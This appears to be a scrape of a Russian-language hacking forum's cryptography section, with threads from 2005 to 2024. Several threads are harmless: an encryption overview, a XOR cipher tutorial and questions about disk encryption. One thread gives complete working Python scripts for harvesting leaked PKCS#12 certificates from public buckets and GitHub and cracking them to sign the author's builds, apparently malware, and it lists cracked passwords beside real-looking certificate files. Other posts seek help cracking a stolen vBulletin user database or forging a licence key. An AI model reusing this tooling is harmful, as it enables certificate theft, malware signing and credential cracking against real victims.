    [http://masolit.502.com1.ru/Rainbow/md5_low...0000000_all.sfv](http://masolit.502.com1.ru/Rainbow/md5_loweralpha- numeric_1-7_2_2400x40000000_all.sfv)
    [http://masolit.502.com1.ru/Rainbow/md5_low...40000000_all.7z](http://masolit.502.com1.ru/Rainbow/md5_loweralpha- numeric_1-7_3_2400x40000000_all.7z)
    [http://masolit.502.com1.ru/Rainbow/md5_low...0000000_all.sfv](http://masolit.502.com1.ru/Rainbow/md5_loweralpha- numeric_1-7_3_2400x40000000_all.sfv)
    [http://masolit.502.com1.ru/Rainbow/md5_low...40000000_all.7z](http://masolit.502.com1.ru/Rainbow/md5_loweralpha- numeric_1-7_4_2400x40000000_all.7z)
    [http://masolit.502.com1.ru/Rainbow/md5_low...0000000_all.sfv](http://masolit.502.com1.ru/Rainbow/md5_loweralpha- numeric_1-7_4_2400x40000000_all.sfv)

Использование шифровов и ключей
ID: 676536fbb4103b69df373943
Thread ID: 4276
Created: 2005-07-14T21:26:00+0000
Last Post: 2005-07-14T21:26:00+0000
Author: AKella
Replies: 0 Views: 3K

Кодирование информации может осуществляться в виде рисунков, чисел, текстов, последовательностей электромагнитных, оптических или других сигналов (например, код Морзе либо код сигнальных огней). Одновременно с передачей информации возникает желание скрыть смысл передаваемой информации от посторонних. Этому может послужить ряд причин, но главная эта то, что если информация закодирована значить она несет в себе какой-то важный смысл. Для сокрытия информации применяют шифры, это обратимые ключи, если ты мне позволишь их назвать. Любой шифр служащий для защиты информации от постороних, должен иметь ключ или способ для ее декодирования. Конкретный ключ выбирается случайно из огромного множества ключей-кодов, получателю информации сообщается заранее, какой из кодов он должен применять для декодирования. Обычно параметр который описывает код, пытаются сделать простым чтобы не было видно не каких закономерностей.

Если получатель информации знает ключ то он сможет расшифровать закодированные данные, а если он не знает ключ ему прийдется перебирать всевозможные варианты. Шифры всегда были принадлежностью государства которая и сейчас всеми силами старается удержать монополию на них, хотя борьба за свободу информации их планы разрушает. Сейчас строго говоря все, что рекламирует использование, создание и продажу, устройтсв или программ реализующих шифрование, относятся лишь к той части которыем применяют алгоритмы которые утверждены в стране (здесь не говорится про секретные службы или про людей которые самостаятельно могут изобрести свой надежный способ шифровки) вообщем если ты собираешся распространять шифрующии устройства (программы или оборудывание) то ты должен построить его на алгоритмах известные и утвержденные в гос-ве либо принести устройство к ним и рассказать какой алгоритм применяется, и ждать их решения.

В информационных структурах предприятий давно используется шифрования, но они шифруются всеми изветсным способом поэтому их легко раскодировать. Чем это объясняется. Да наверное, просто не хотят переходить на что-то более надежное (SSH к примеру - хотя не знаю на сколько это надежнее, мы пробум взламать этот протокол) - привыкли уже к старому либо просто нет специалиста на предприятии способного написать собственный алгоритм и программу шифровки. Простые юзеры стали также использовать шифрование.

Так во всех броузерах используется встроенные средства шифрования.Без каких либо указаний номера кредитных карточек передаются по всем известному симметричному протоколу SSL, конечно если сервер поддерживает данный протокол на строне сервера он изображается как https (наверное ты уже встречался с этим). Что я хочу еще сказать. По умолчанию протокол SSL использует 40-битное шифрование, но можна сказать ему использовать 128-битное шифрование данных. Дополнительно можно обеспечить шифрование еще строними утилитами, которые будут шифровать и файлы и папки с картинками. Будет хорошо если ты сам сможеш придумать свой алгоритм шифровкии реализовать его, этот алгоритм никто кроме тебя не будет или не должен знать, вот поэтому если твой собственный алгоритм надежный его наврядли кто сможет взламать, хотя против лома можна использовать другой лом.

Аналитики считают, что расширение применение сильного шифрования происходит за счет разрешения Министерства торговли США экспортировать алгоритмы шифрования. Не так давно Правительство США запрещяло экспорт устройтсв шифрования свыше 40-бит. Теперь эта граница стерта.
Я считаю, что это произошло из-за того, что в других странах Европы и Азии, появились умельцы которые просто перепрыгнули США по способам шифровки. Ну конечно как США может справиться со всей Европой и Азией.

Главным и наверное самым слабым местом в шифровании лежит именно ключ, точнее сказать пароль который вы используете. С помощью этого пароля происходит шифрование/дешифрование. Поэтому здесь уже не от составителя алгоритма, а от вас лично будет зависить надежность ваших данных.

Ну и на последок хочется сказать, что простым домашним пользователям и малым предприятиям приходится выбирать из малого списка устройств шифрования, например: либо из программ которые распространяются бесплатно либо из устройств которые взаимодействуют с USB портом и которые стоят недорого, но есть еще один способ, хороший способ - нанять команду специалистов, которые растолкуют вам для чего нужно шифрования, как его применять и какой тип шифрования лучше выбрать глядя на ваш бюджет.

Статья любезно предоставлена моим другом. Она также размещена на http://freecode.h15.ru

Алгоритм Xor и его взлом
ID: 676536fbb4103b69df373948
Thread ID: 368
Created: 2005-03-23T22:33:57+0000
Last Post: 2005-03-23T22:33:57+0000
Author: Winux
Replies: 0 Views: 3K

XOR представляет собой операцию "исключающее или": '^' в языке C или Q в математической нотации.

Это обычная операция над битами:
0 Q 0 = 0
0 Q 1 = 1
1 Q 0 = 1
1 Q 1 = 0

Также заметим, что:
a Q a = 0
a Q b Q b = a

Казалось бы, запутанный алгоритм простого XOR, по сути, является ничем иным, как полиалфавитным шифром Вигенера. Его стоит описать, ибо он очень распростран±н в наше время (imho очень зря). К сожалению, если о программе компьютерной безопасности заявляется, что это "патентованный" алгоритм шифрования, значительно более быстрый, чем DES, то скорее всего используется какой-то вариант следующего.
/* Использование: crypto key input_file output_file*/
void main (int argc, char *argv[]) {
FILE *fl, *fo;
char *cp;
int c;
if ((cp = argv[l]) && *cp!= '\0') {
if ((fi = fopen(argvl[2], "rb")) != NULL) {
if ((fo = fopen(argv[3], "wb")) != NULL) {
while ((c = getc(fi)) != EOF) {
if (!*cp) cp = argv[1];
c^= *(cp++);
putc(c,fo); }
fclose(fo); }
fclose(fi);
}
}

Это симметричный алгоритм. Открытый текст подвергается операции "исключающее или" вместе с ключевым текстом для получения шифротекста. Так как повторное применение операции XOR восстанавливает оригинал для шифрования и дешифрирования используется одна и та же программа:
P Е K = C
C Е K = P

Настоящей безопасности здесь никогда не было. Этот тип шифрования легко вскрывается, даже без компьютера. Его взлом на компьютере занимает несколько секунд. Предположим, что открытый текст использует английский язык. Более того, пусть длина ключа любое небольшое число байт. Ниже описано, как взломать этот шифр:

1. Определим длину ключа с помощью процедуры, известной как подсчет совпадений. Применим операцию XOR к шифротексту, используя в качестве ключа сам шифротекст с различными смещениями, и подсчитаем совпадающие байты. Если величина смещения кратна длине ключа, то совпадет свыше 6 процентов байтов. Если нет, то будут совпадать меньше чем 0.4 процента (считая, что обычный ASCII текст кодируется случайным ключом, для других типов открытых текстов числа будут другими). Это называется показателем совпадений. Минимальное смещение от одного значения, кратного длине ключа, к другому и есть длина ключа.

2. Сместим шифротекст на эту длину и проведем операцию XOR для смещенного и оригинального шифротекстов. Результатом операции будет удаления ключа и получение открытого текста, подвергнутого операции XOR с самим собой, смещенным на длину ключа. Так как в английском языке на один байт приходится 1.3 бита действительной информации, существующая значительная избыточность позволяет определить способ шифрования. Несмотря на это, количество поставщиков программного обеспечения, навязывающих этот игрушечный алгоритм в качестве "почти такого же безопасного как DES", впечатляет. Именно этот алгоритм (с 160-битным повторяющимся "ключом") NSA в конце концов разрешило использовать в цифровых телефонных сотовых сетях для закрытия голоса. XOR может защитить ваши файлы от младшей сестры, но настоящего криптоаналитика задержит лишь на считанные секунды.

Кончились варианты! Спасите!
ID: 676536fbb4103b69df37391c
Thread ID: 12753
Created: 2006-10-20T20:15:51+0000
Last Post: 2006-11-08T13:29:59+0000
Author: gav
Replies: 1 Views: 2K

Дело было так:
есть писюк в нем Win98, поставил туда ScramDisk 3.01. Сделали шифрованый диск. Юзали все это, а потом винда сдохла. Все буквы в документах стали квадратиками и всякой неясной дребеденью!
Винду переставил, запускаю ScramDisk, при попытке примаунтить шифрованый диск ввожу пароль (2 штуки) - 100% правильный пароль - и не открывает.
На зашифрованном диске архиважная инфа. Пробовал на других компах - нифига, тот же конфиг ScramDisk-у подсовывать и его *.vxd файл - нулевой результат. :bang: Неужели вместе со смертью кодировки файлов офиса навсегда потеряна надежда снова увидеть содержимое шифрованного диска? :sorry:

StealthPE(Private)
ID: 676536fbb4103b69df37392b
Thread ID: 11609
Created: 2006-09-11T13:24:11+0000
Last Post: 2006-09-17T07:10:20+0000
Author: madde
Replies: 5 Views: 2K

О программе
Stealth PE поможет авторам платных программ более качественно защитить свои программы от взлома. Основное назначение Stealth PE - скрыть от взломщика информацию о программе, ее компиляторе. Если программа была предварительно упакована с помощью ASPack, UPX, PECompact и других, то после обработки такого файла с помощью Stealth PE будет практически невозможно определить чем упакована программа, а также распаковать её даже специальными автоматическими распаковщиками.

Использование
Когда вы написали свою Windows-программу и скомпилировали ее окончательный вариант, запустите Stealth PE и загрузите исполняемый файл вашей программы, нажав "Load EXE". Вы увидите некоторую служебную информацию о вашем файле, а также станет доступной кнопка "Let's Stealth", нажмите ее и ваш файл будет защищён. Обязательно попробуйте запустить свою программу после этого. Если программа запустилась - всё в порядке, если нет, то придется отказаться от использования этой версии Stealth PE.

Как работает защита
Stealth PE добавляет в вашу программу код длинной всего 64 байта, который защищает точку входа вашей программы. При запуске этот код восстанавливает точку входа и запускает вашу программу. Модификация точки входа позволяет защитить программу от определения типа компилятора и упаковщика, использованного для ее создания, а это исключает возможность распаковки вашей программы, что исключает возможность создания патчей и крэков к ней. Однако, если вы не упаковали свою программу после компиляции, то эффект от использования Stealth PE мал, так как исполняемый код вашей программы остаётся не запакованным, а значит доступным для модификации взломщиком. Поэтому ваша формула действий: компиляция -> упаковка -> защита Stealth PE.

Возможности
Программа Stealth PE была протестирована на скомпилированных файлах в:

Delphi 3.0
Delphi 5.0
Delphi 6.0
Microsoft Visual C++ 6.0
Microsoft Visual C++ 7.0
Borland C++

Однако, вы можете провести испытания и с другими компиляторами, но обязательно создающими Windows32 программы, с другими программами Stealth PE не работает. Также, Stealth PE была протестирована на совместимость с программами упакованными:
ASPack 1.061b
ASPack 2.11
ASPack 2.12
UPX 0.72
UPX 1.04
UPX 1.20
PECompact 1.32
Yoda Crypter 1.2
PECrypt 1.02

Защищенные файлы были проверены на работоспособность только под операционной системой Windows98, поэтому есть смысл протестировать их под операционными системами семейства NT.

Ограничения
Любые программы в защите которых использовано вычисление контрольной суммы исполняемого файла (CRC) не будут работать при использовании Stealth PE , именно поэтому Stealth PE несовместима с упаковщиками:

ASProtect
Armadillo
Shrinker

А также, по результатам тестов оказалось, что Stealth PE несовместима, также, с
Microsoft Visual Basic.

Тестирование
Stealth PE была протестирована на устойчивость сокрытия информации от автоматических анализаторов файлов.

1. Автоматический анализатор файлов PEiDentifier v0.8 показал следующие результаты при тестировании защищенных исполняемых файлов:
_
Истинный компилятор/Упаковщик Определился как:
Delphi 3.0 Delphi 3.0
Delphi 5.0 Delphi 4.0 - 5.0
Delphi 6.0 Delphi 6.0
Microsoft Visual C++ 6.0 не определился
Microsoft Visual C++ 7.0 не определился
Borland C++ не определился
ASPack 1.061b ASPack 1.061b
ASPack 2.11 не определился
ASPack 2.12 не определился
UPX 0.72 UPX 0.74
UPX 1.04 UPX 1.03 - 1.04 modified
UPX 1.20 UPX 0.89.6 - 1.02 / 1.05 - 1.22 modified
PECompact 1.32 не определился
Yoda Crypter 1.2 не определился
PECrypt 1.02 не определился_

2. Автоматический анализатор файлов File Analyzer Version 1.6.01.09.2000 DELUXE не распознал при тестировании ни один из защищенных исполняемых файлов.

3. Автоматический анализатор файлов pe-scan 1.4a не распознал при тестировании ни один из защищенных исполняемых файлов.

4. Автоматический анализатор файлов File Scanner не распознал при тестировании ни один из упакованных защищенных исполняемых файлов, однако распознал компиляторы в виде:
MSVC
Borland TLINK/TLINK32

5. Полуавтоматический анализатор файлов PE-Sniffer 1.06 показал следующие результаты при тестировании защищенных исполняемых файлов:
Истинный компилятор/Упаковщик Определился как:
Delphi 3.0 Inprise Delphi
Delphi 5.0 не определился
Delphi 6.0 не определился
Microsoft Visual C++ 6.0 не определился
Microsoft Visual C++ 7.0 не определился
Borland C++ Borland C++
ASPack 1.061b Packed with ASPack
ASPack 2.11 не определился
ASPack 2.12 не определился
UPX 0.72 не определился
UPX 1.04 не определился
UPX 1.20 не определился
PECompact 1.32 не определился
Yoda Crypter 1.2 не определился
PECrypt 1.02 PECrypt

6. Автоматический анализатор файлов PE Sniffer из пакета PE Tools 1.5 не распознал при тестировании ни один из защищенных исполняемых файлов.

Выводы
Очень скоро авторы некоторых из этих анализаторов файлов добавят Stealth PE в список определяемых упаковщиков, но это ничуть не поможет узнать реальный упаковщик, которым была запакована ваша программа и тем более распаковать её.

Лицензия
Это демонстрационная версия Stealth PE. Она обладает ограниченной функциональностью, а именно: отключена возможность шифрования секции кода, отсутствует защита от Generic OEP поиска, версия является публичной, поэтому для неё могут существовать или быть весьма вероятно созданы автоматические распаковщики и PEiD-сигнатуры.

Как купить
Полную версию Stealth PE вы можете получить несколькими способами:

1. Оплатить регистрацию программы через электронные платежные системы (Webmoney, Яндекс-деньги, Деньги@mail.ru, Rapida, RUpay). Стоимость регистрации - 199 рублей.

2. Приобрести Stealth PE на диске CRACKL@B GIGABYTE. Диск высылается наложенным платежом по России за 290 рублей или за 240 рублей электронными деньгами. Диск, кроме того, может быть выслан в любую страну всего за 11$ ! Этот диск создан командой сайта исследователей защиты программ WWW.CRACKLAB.RU, помимо Stealth PE он содержит ещё сотни других программ и статей, которые помогут Вам научиться качественно защищать программы, имея в распоряжении полную палитру всех необходимых для этого инструментов.

Подробнее о содержании диска: http://cracklab.ru/cd.php

вы можете заказать диск через форму на этой странице. По получении диска обратитесь к нам по электронной почте tech@bgsopt.com и вам будет выдан регистрационный код на полную версию Stealth PE , находящуюся на диске.

Автор
Stealth PE 1.0 была изобретена и создана компанией BG Software Protect Technologies в августе 2003 года.

Сайт
http://www.bgsopt.com/product.htm#1

Купил диск, там была эта прога, но вот проблема, к ней идет ключ, который щифруется, я так понял, по мыло имени и фамилии в транслите

Ключ я бы не хотел светить, поэтому хотел узнать, возможно ли узнать алгоритм шифрования и сделать новый? Ключ состоит из 44 цифр, 9 секций, первая секция 4 цифры, остольные 8 секций- по 5 цифр:)

Собсно вот:) кто может помочь, прошу в gv или в асю 7-8-9-22-66:) так ка ключ здесь выкладывать не хочу)

Vbulletin
ID: 676536fbb4103b69df37391e
Thread ID: 13394
Created: 2006-11-07T08:22:59+0000
Last Post: 2006-11-07T08:44:18+0000
Author: dimooon
Replies: 2 Views: 2K

Раздобыл базу от Vbulletin с юзерами и теперь нужно как то получить пароли из md5... но я не юзал ни когда PP (pswpro) не мог бы тут кто нибудь рассказать как польховаться или раскодировать пару хешей.....

ea99cc78625cc0fb8af8d4701747e28c - я просто вытащил этот Хеш из базы... ни каких операций с ним не проводил... Но раскодировать по прежнеиу не получаеться.... =(

.pdf под паролем можно ли снять ?
ID: 676536fbb4103b69df373732
Thread ID: 123006
Created: 2024-09-18T23:00:01+0000
Last Post: 2024-10-19T18:53:48+0000
Author: tsyko
Replies: 12 Views: 2K

Ребят, всем привет )

очень интересует вопрос, есть ли какая то возможность снять защиту паролем с пдф файла ?

Чем криптовать линукс? LUKS? Veracrypt лучше?
ID: 676536fbb4103b69df373747
Thread ID: 121011
Created: 2024-08-18T22:15:43+0000
Last Post: 2024-08-21T14:14:11+0000
Author: Zippy
Replies: 16 Views: 2K

Привет всем! Что скажете про LUKS для Linux? Шифрует ли он ключи в памяти так же, как и VeraCrypt? Буду рад услышать все плюсы и минусы. Лучше ли он, чем VeraCrypt? А на практике с паяльником?

Серчинг и брут PKCS#12 сертификатов для подписи своих билдов
ID: 676536fbb4103b69df373750
Thread ID: 119934
Created: 2024-07-31T16:05:05+0000
Last Post: 2024-07-31T18:03:16+0000
Author: dunkel
Prefix: Видео
Replies: 1 Views: 2K

На форумах продают подпись валидным сертификатом за 1к$+. Делаем это сами

Парсер ссылок Grayhatwarfare в файл urls.txt

Python:Copy to clipboard

import http.client
import json

# Установка соединения
conn = http.client.HTTPSConnection("buckets.grayhatwarfare.com")

# Заголовки с авторизацией
headers = {'Authorization': "Bearer 52318c442b37efbff882bc6c91c58d55"}

# Файл для сохранения ссылок
with open('links.txt', 'w', encoding='utf-8') as file:
    for start in range(100000):
        print(f"Запрос с параметром start={start}")
        # Выполнение запроса
        conn.request("GET", f"/api/v2/files?extensions=pfx%2Cp12&start={start}&limit=1000", headers=headers)
        res = conn.getresponse()
        data = res.read()

        # Декодирование ответа
        decoded_data = data.decode("utf-8")

        # Парсинг JSON
        try:
            json_data = json.loads(decoded_data)
        except json.JSONDecodeError:
            print("Ошибка декодирования JSON")
            break

        # Извлечение ссылок
        links = [file['url'] for file in json_data.get('files', []) if 'url' in file]

        # Сохранение ссылок в файл
        for link in links:
            file.write(link.replace('\\', '') + '\n')

        # Проверка, если результатов меньше 1000, прекращаем цикл (значит, мы достигли конца)
        if len(json_data.get('files', [])) < 1000:
            break

print("Ссылки сохранены в файл links.txt")

Парсер github

Python:Copy to clipboard

import requests

def fetch_p12_links(token, pages=5):
    headers = {
        'Authorization': f'token {token}',
        'Accept': 'application/vnd.github.v3+json',
    }
    base_url = 'https://api.github.com/search/code'
    query = 'path:*.p12'
    all_links = []

    for page in range(1, pages + 1):
        params = {
            'q': query,
            'page': page,
            'per_page': 100  # Максимум на страницу
        }
        response = requests.get(base_url, headers=headers, params=params)
        if response.status_code != 200:
            print(f"Error fetching page {page}: {response.status_code}")
            continue
   
        data = response.json()
        for item in data.get('items', []):
            file_path = item.get('path', '')
            if file_path.endswith('.p12'):
                repo = item['repository']
                file_url = f"https://github.com/{repo['full_name']}/blob/{item['sha']}/{file_path}"
                all_links.append(file_url)
 
    return all_links

def save_links_to_file(links, filename):
    with open(filename, 'w') as file:
        for link in links:
            file.write(link + '\n')

if __name__ == '__main__':
    token = 'ТвойАпиТокен'
    filename = 'p12_links.txt'
    all_links = fetch_p12_links(token)
    save_links_to_file(all_links, filename)
    print(f"Ссылки сохранены в файл {filename}")

Скачиватель ссылок из файла urls.txt в папку certs

Python:Copy to clipboard

import os
import requests

# Функция для создания директории, если она не существует
def create_directory(directory):
    if not os.path.exists(directory):
        os.makedirs(directory)

# Функция для скачивания файла по URL
def download_file(url, save_path):
    try:
        response = requests.get(url)
        response.raise_for_status()  # Проверка на ошибки
        with open(save_path, 'wb') as file:
            file.write(response.content)
        print(f"Downloaded: {url} to {save_path}")
    except requests.exceptions.RequestException as e:
        print(f"Failed to download {url}: {e}")

# Основная часть скрипта
def main():
    urls_file = 'urls.txt'
    download_directory = 'certs'

    # Создаем директорию для сохранения файлов
    create_directory(download_directory)

    # Читаем URL-адреса из файла
    with open(urls_file, 'r') as file:
        urls = file.readlines()

    # Скачиваем каждый файл
    for url in urls:
        url = url.strip()  # Убираем пробелы и переносы строк
        if url:  # Проверяем, что строка не пустая
            file_name = os.path.basename(url)
            save_path = os.path.join(download_directory, file_name)
            download_file(url, save_path)

if __name__ == "__main__":
    main()

Чекер на сигнатуры ASN.1 (необязательно)

Python:Copy to clipboard

import os
import shutil

# Путь к папке с файлами для проверки
input_dir = 'certs'
output_dir = 'output'

# Убедитесь, что папка output существует
if not os.path.exists(output_dir):
    os.makedirs(output_dir)

# Последовательность байтов для поиска
pattern = b'\x02\x01\x03\x30'
offset = 4

def check_sequence(file_path, sequence, offset):
    try:
        with open(file_path, 'rb') as file:
            file.seek(offset)
            data = file.read(len(sequence))
            return data == sequence
    except Exception as e:
        print(f"Ошибка при проверке файла {file_path}: {e}")
        return False

for filename in os.listdir(input_dir):
    file_path = os.path.join(input_dir, filename)
    if os.path.isfile(file_path) and not filename.endswith(('.msi', '.exe')):
        if check_sequence(file_path, pattern, offset):
            shutil.copy(file_path, output_dir)
            print(f"Файл {filename} скопирован в папку output")

print("Проверка завершена.")

Конвертер сертификатов в jonh the ripper hash

Python:Copy to clipboard

import binascii
import sys
import os
try:
    from asn1crypto import pkcs12
except ImportError:
    sys.stderr.write("asn1crypto is missing, run 'pip install --user asn1crypto' to install it!\n")
    sys.exit(-1)


def parse_pkcs12(filename, output_dir):
    data = open(filename, "rb").read()
    pfx = pkcs12.Pfx.load(data)

    auth_safe = pfx['auth_safe']
    if auth_safe['content_type'].native != 'data':
        raise ValueError(
            '''
            Only password-protected PKCS12 files are currently supported
            '''
        )

    mac_data = pfx['mac_data']
    if mac_data:
        mac_algo = mac_data['mac']['digest_algorithm']['algorithm'].native
        key_length = {
            'sha1': 20,
            'sha224': 28,
            'sha256': 32,
            'sha384': 48,
            'sha512': 64,
            'sha512_224': 28,
            'sha512_256': 32,
        }[mac_algo]

        salt = mac_data['mac_salt'].native
        iterations = mac_data['iterations'].native
        mac_algo_numeric = -1
        if mac_algo == "sha1":
            mac_algo_numeric = 1
        elif mac_algo == "sha224":
            mac_algo_numeric = 224
        elif mac_algo == "sha256":
            mac_algo_numeric = 256
        elif mac_algo == "sha384":
            mac_algo_numeric = 384
        elif mac_algo == "sha512":
            mac_algo_numeric = 512
        else:
            sys.stderr.write("mac_algo %s is not supported yet!\n" % mac_algo)
            return
        stored_hmac = mac_data['mac']['digest'].native
        data = auth_safe['content'].contents
        size = len(salt)
        output = "%s:$pfxng$%s$%s$%s$%s$%s$%s$%s:::::%s\n" % (
            os.path.basename(filename), mac_algo_numeric,
            key_length, iterations, size, binascii.hexlify(salt).decode(),
            binascii.hexlify(data).decode(),
            binascii.hexlify(stored_hmac).decode(), filename
        )
        output_file = os.path.join(output_dir, f"{os.path.basename(filename)}.hash")
        with open(output_file, 'w') as f:
            f.write(output)


if __name__ == "__main__":
    input_dir = 'certs'
    output_dir = 'hash'

    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    for root, _, files in os.walk(input_dir):
        for file in files:
            if file.endswith(('.pfx', '.p12')):
                file_path = os.path.join(root, file)
                try:
                    parse_pkcs12(file_path, output_dir)
                except Exception as e:
                    sys.stderr.write(f"Failed to process {file_path}: {e}\n")

Пример промпта для генерации скрипта для чека на id-kp-codeSigning:

Code:Copy to clipboard

напиши скрипт на python который открывает сертификаты pfx и p12 с именем и паролем напротив и проверяет равен ли его OID 1.3.6.1.5.5.7.3.3 или содержит ли он строку id-kp-codeSigning
Carlos           (FERREIRA_PRIARIO_CARLOS_FRANCISCO.pfx)
140589           (1684353701_404456b861a4860e547ac4f38ab5a144.pfx)
aassdd           (csrcert.p12)
Password123      (GEPSigningCert.pfx)
Password123      (GEPEncryptionCert.pfx)
Welcome1         (site.pfx)
ZAQ!2wsx         (YorkCert.pfx)
ZAQ!2wsx         (myintelbldgCert.pfx)
johndoe          (JohnDoe.pfx)
010809           (CERTIFICADO DIGITAL SENHA 010809.pfx)
P@ssword         (O365AppOnly_private.pfx)
220880           (22266191.pfx)
128888           (fiskal_cert_brod.p12)
ferraro          (certificadoferraro.pfx)
aleafar          (cert2023_private.cer.pfx)
1301             (83ae201a-8644-4762-b892-3004289d5ac4.pfx)
1301             (1f78b1a6-f7a8-43d7-b1e7-99b7f2a4150d.pfx)
0410             (310282959432.p12)
0410             (080072082337.p12)
12681268         (1680022503_abd58486c2fe13d964e7b04130440f50.pfx)

![disk.yandex.ru](/proxy.php?image=https%3A%2F%2Fdownloader.disk.yandex.ru%2Fpreview%2F1536c116f7ba1dd3664bc8118cec395f3afde062553bb4c804905eddfe720fba%2F67527470%2F2WerxUfO1mgUR2UYFACGWQGdYBbTKyq9uL0rmBcBOqFJiv1DuRSfPO- FCLgWz3HRH8NLNV9w6BCMu952BY3GyQ%253D%253D%3Fuid%3D0%26filename%3D%25D0%25A1%25D0%25B5%25D1%2580%25D1%2587%25D0%25B8%25D0%25BD%25D0%25B3%2520%25D0%25B8%2520%25D0%25B1%25D1%2580%25D1%2583%25D1%2582%2520PKCS%252312%2520%25D1%2581%25D0%25B5%25D1%2580%25D1%2582%25D0%25B8%25D1%2584%25D0%25B8%25D0%25BA%25D0%25B0%25D1%2582%25D0%25BE%25D0%25B2%2520%25D0%25B4%25D0%25BB%25D1%258F%2520%25D0%25BF%25D0%25BE%25D0%25B4%25D0%25BF%25D0%25B8%25D1%2581%25D0%25B8%2520%25D1%2581%25D0%25B2%25D0%25BE%25D0%25B8%25D1%2585%2520%25D0%25B1%25D0%25B8%25D0%25BB%25D0%25B4%25D0%25BE%25D0%25B2.mp4%26disposition%3Dinline%26hash%3D%26limit%3D0%26content_type%3Dimage%252Fjpeg%26owner_uid%3D0%26tknv%3Dv2%26size%3D1200x1200&hash=0ddef9eb0b1bafb1e096229f84dba356&return_error=1)

[ Серчинг и брут PKCS#12 сертификатов для подписи своих билдов.mp4

](https://disk.yandex.ru/i/jRLuuq9VbIgMLg)

Посмотреть и скачать с Яндекс Диска

![disk.yandex.ru](/proxy.php?image=https%3A%2F%2Fyastatic.net%2Fs3%2Fpsf%2Fdisk- public%2F_%2F5hb_sU044zVfPgNsMKf8pNs2_6H.png&hash=7a8adcf3b9b4977c20c8df73c9c222b3&return_error=1) disk.yandex.ru

How to Encrypt PowerShell Scripts
ID: 676536fbb4103b69df37375d
Thread ID: 90183
Created: 2023-06-10T20:02:24+0000
Last Post: 2024-02-07T13:22:08+0000
Author: whyban
Prefix: Статья
Replies: 12 Views: 2K

Protect your sensitive PowerShell scripts by encrypting them. Here are step- by-step instructions for PowerShell script encryption.

There is inevitably a certain amount of risk that comes from having a collection of PowerShell scripts stored on your network. For instance, an attacker could analyze one of your scripts to gain insight into your organization’s IT infrastructure. Similarly, an attacker (or even a well- intentioned IT staff member within your company) could make a modification to an existing script that causes general problems.

A way to potentially mitigate these risks is to create encrypted PowerShell scripts. An encrypted script requires significantly more effort to read or modify than a plain text script.
In this article, I will show you how to build such a script.

Part One: Encrypt the Original Script

The first step in building an encrypted PowerShell script is to write an plain text version of the script. Once you have the script ready, make sure to test it thoroughly and then rename the script file so that it has a .TXT file extension.
In Figure 1, I have created a simple “Hello World” script, saved as a text file named MyCode.txt.

Figure 1
Screenshot of simple PowerShell script saved as .txt file.

I have created a simple PowerShell script and saved it as a text file.
You will need to read your text file into PowerShell, encrypt the file’s contents, and write those encrypted contents to a file. Here are some commands for reading, encrypting, and outputting the code that is presently contained within the text file:

Rich (BB code):Copy to clipboard

$Code = Get-Content C:\Scripts\MyCode.txt
$CodeSecureString = ConvertTo-SecureString $Code -AsPlainText -Force
$Encrypted = ConvertFrom-SecureString -SecureString $CodeSecureString
$Encrypted | Out-File -FilePath C:\Scripts\Encrypted.txt

In this block of code, we create a variable called $Code that contains the unencrypted contents of the text file. Next, we convert the script file into a secure string and store its contents in a variable called $CodeSecureString. At this point, we are essentially treating the text file like a plain text password. The third line of code converts the secure string data into an encrypted value. Finally, in the last line of code, we write the encrypted data out to a text file called Encrypted.txt.

Figure 2 demonstrates these steps. In the figure, I added some extra lines in which I output the contents of the $Code, $CodeSecureString, and $Encrypted variables so that you can see exactly what those variables are being used for. I have also output the contents of the encrypted.txt file for you to see.

Figure 2

screenshot of encrypted contents of .txt file

I have encrypted the contents of my original text file.

Part Two: Put the Encrypted Code Into PowerShell

Now that we have encrypted the original script, we have completed the first half of the process. Unfortunately, we can’t just paste encrypted code into PowerShell and expect it to run. In addition to pasting the encrypted code into a script, we will need to include a couple of commands that tell PowerShell how to decrypt the code.

Here is the code:

Rich (BB code):Copy to clipboard

$Instructions = "01000000d08c9ddf0115d1118c7a00c04fc297eb010000005acac12aa02d05439b51cec88c15f8ed00000000020000000000106600000001000020000000df27935cb01adc23f2db341c5c21f7b144669678a04cd4c5afd6a689c7f08d63000000000e80000000020000200000000bfdbff6ab9d2cf8f6a9a5a5e807f7dcbebc7083012ed3f07b7ce7f6d7e9233a4000000046c27b1d891002f89a8be44eeb8878ca477eb78bc6738649df19a7535ea74ad0b809db0e543acb33d441f3714ea248b62c050ebf8dd0642b9686acd8d60eebbd40000000630dd2c88ca48e14fc130c08aef6c81284ff7d3e54cd52890b44d21c98e2e3fd1499853cf574771b0826693eddfc987696a977b8de20e3929b2bc87205b6fac2"
$Decrypt = $Instructions | ConvertTo-SecureString
$Code = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($Decrypt))
Invoke-Expression $Code

The first instruction writes the encrypted code to a variable called $Instructions. Next, we create a variable called $Decrypt, convert the encrypted code to a secure string, and write the result to the $Decrypt variable. From there, we use a call to .NET to perform the final decryption. The decrypted code is written to a variable called $Code. We can then use the Invoke-Expression cmdlet to execute the code.

In Figure 3, I have manually entered the instructions listed above. In doing so, I have also output the contents of the $Decrypt and $Code variables so that you can observe how the decryption process works.

Figure 3

screenshot of decrypted code

The encrypted code has been decrypted.

The bottom line is that all the code shown in the example above can be embedded into aPowerShell script and used as is. The encryption makes it nearly impossible to tell what the script is designed to do without actually running the script. It also prevents anyone from making modifications to the script, as any unauthorized modification would corrupt the encrypted string.

Помогите определить тип хешей
ID: 676536fbb4103b69df37378b
Thread ID: 81270
Created: 2023-02-04T20:20:16+0000
Last Post: 2023-07-24T20:54:24+0000
Author: cyr4x
Replies: 10 Views: 2K

Ребят помогите определить тип хеша, у самого не получается.
Онлайн определялки говорят что это ПиплСофт но это не он.
Знаю что вот этот хеш kJRbLVYsTlV2k5A6H3DGgCwVDs8hY9qFP+kUWOBOCr4= декриптится как gus2010
Больше информации к сожалению нет, hashid тоже мне не помог.

j2tcrXSM10aJ3218IBmOYD3c+p2pXULGjQV2SuUR7SI=
Ff/n/MC/Z4mvxPG7BykompSQq78zb9PtkNT0SeXq1F0=
PzyuiSP7b1PY1TXskcUNBdyv7B7ksnbpUmdfuNgqddc=
hFnNkU71xXf8eSy05kzLXxVKIKuwi4uotFo7eU8/COA=
Q6bwVQBAU9zgxN/H5uNYiqQ3J/1844ze0DoLQ1tOp1E=
gg+7nmeehDog4Mraa3J7fJf5lxDcVqTVaMjPxaLSUcw=
wpSAJrVj8TpCn3lHXM9HFTXNz7MUa53JQPNRYiNzoKc=
